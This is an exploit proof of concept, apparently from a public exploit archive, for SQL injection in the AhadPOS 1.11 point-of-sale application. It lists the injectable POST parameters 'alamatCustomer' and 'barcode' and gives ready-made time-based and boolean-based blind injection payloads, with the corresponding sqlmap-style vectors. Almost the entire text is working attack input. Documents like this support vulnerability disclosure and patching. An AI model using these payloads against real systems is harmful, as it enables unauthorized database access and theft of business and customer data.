rimbalinux AhadPOS 1.11 SQL Injection

`# Exploit Title: rimbalinux AhadPOS 1.11 - 'alamatCustomer' SQL Injection  
# Date: 2019-11-01  
# Exploit Author: Cakes  
# Vendor Homepage: https://github.com/rimbalinux/AhadPOS  
# Software Link: https://github.com/rimbalinux/AhadPOS.git  
# Version: 1.11  
# Tested on: CentOS 7  
# CVE: N/A  
  
# PoC for time-based and boolean based blind SQL injection  
  
# Parameter: alamatCustomer (POST)  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])   
  
Payload: namaCustomer=test&alamatCustomer=test'||(SELECT 0x4b686f74 FROM DUAL WHERE 8368=8368 AND (SELECT 9520 FROM (SELECT(SLEEP(5)))gtad))||'&telpCustomer=12312345&keterangan=tester  
  
# Parameter: barcode (POST)  
# Type: boolean-based blind  
# Title: OR boolean-based blind - WHERE or HAVING clause  
# Vector: OR [INFERENCE]   
  
Payload: barcode=-3529' OR 4127=4127-- HRDC&jumBarang=1&btnTambah=(t) Tambah  
  
# Type: time-based blind  
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])   
  
Payload: barcode=123' AND (SELECT 1256 FROM (SELECT(SLEEP(5)))Nhnk)-- zXsC&jumBarang=1&btnTambah=(t) Tambah  
`